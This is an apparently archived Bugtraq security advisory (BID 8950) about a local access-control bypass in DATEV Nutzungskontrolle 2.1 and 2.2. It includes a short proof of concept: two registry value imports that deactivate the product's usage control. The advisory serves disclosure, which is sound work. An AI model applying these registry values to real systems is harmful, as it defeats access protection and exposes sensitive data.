DATEV Nutzungskontrolle Unauthorized Access Vulnerability

BID:8950

Info

DATEV Nutzungskontrolle Unauthorized Access Vulnerability

Bugtraq ID: 8950
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Nov 01 2003 12:00AM
Updated: Nov 01 2003 12:00AM
Credit: The disclosure of this issue has been credited to t4rku5.
Vulnerable: DATEV Nutzungskontrolle 2.2
DATEV Nutzungskontrolle 2.1
Not Vulnerable:

Discussion

DATEV Nutzungskontrolle Unauthorized Access Vulnerability

It has been reported that DATEV Nutzungskontrolle may be prone to a access validation issue that may allow a local attacker to gain access to sensitive data. The issue presents itself as a local user is able modify certain keys in the Windows registry resulting in bypassing the security model of the software. This issue would not present itself if the registry keys were set to read only.

Successful exploitation of this issue may allow an attacker to gain access to sensitive data that could be used to launch further attacks against the system.

Nutzungskontrolle V.2.1 and V.2.2 has been reported to be prone to this issue, however other versions may be affected as well.

Exploit / POC

DATEV Nutzungskontrolle Unauthorized Access Vulnerability

The following proof of concept has been provided:

It is possible to deactivate the NUKO with just importing 2 registry
keys:

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEV]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,e4,6c,d9,ce,f1,69,97,e7,61,eb,08,48,e7,71,65,9b

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEVeG\Components\B0000046\Versions\1.0\NukoInfos]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,e4,6c,d9,ce,f1,69,97,e7,61,eb,08,48,e7,71,65,9b

Solution / Fix

DATEV Nutzungskontrolle Unauthorized Access Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

DATEV Nutzungskontrolle Unauthorized Access Vulnerability

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